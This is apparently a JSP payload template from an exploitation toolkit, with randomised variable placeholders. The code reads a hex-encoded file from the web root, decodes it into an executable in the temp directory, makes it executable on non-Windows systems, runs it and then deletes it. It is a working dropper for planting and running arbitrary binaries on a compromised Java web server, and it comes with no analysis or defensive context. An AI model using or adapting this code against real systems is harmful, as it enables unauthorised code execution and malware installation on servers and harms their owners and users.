50 lines
1.7 KiB
Plaintext
50 lines
1.7 KiB
Plaintext
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<%%@ page import="java.io.*" %%>
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<%%
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String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt";
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String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
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String %{var_data} = "";
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if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
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{
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%{var_exepath} = %{var_exepath}.concat(".exe");
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}
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FileInputStream %{var_inputstream} = new FileInputStream(%{var_hexpath});
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FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath});
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int %{var_numbytes} = %{var_inputstream}.available();
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byte %{var_bytearray}[] = new byte[%{var_numbytes}];
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%{var_inputstream}.read(%{var_bytearray});
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%{var_inputstream}.close();
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byte[] %{var_bytes} = new byte[%{var_numbytes}/2];
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for (int %{var_counter} = 0; %{var_counter} < %{var_numbytes}; %{var_counter} += 2)
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{
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char %{var_char1} = (char) %{var_bytearray}[%{var_counter}];
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char %{var_char2} = (char) %{var_bytearray}[%{var_counter} + 1];
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int %{var_comb} = Character.digit(%{var_char1}, 16) & 0xff;
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%{var_comb} <<= 4;
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%{var_comb} += Character.digit(%{var_char2}, 16) & 0xff;
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%{var_bytes}[%{var_counter}/2] = (byte)%{var_comb};
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}
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%{var_outputstream}.write(%{var_bytes});
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%{var_outputstream}.close();
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if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){
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String[] %{var_fperm} = new String[3];
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%{var_fperm}[0] = "chmod";
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%{var_fperm}[1] = "+x";
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%{var_fperm}[2] = %{var_exepath};
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Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm});
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if (%{var_proc}.waitFor() == 0) {
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%{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
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}
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File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
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}
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else
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{
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Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
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}
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%%>
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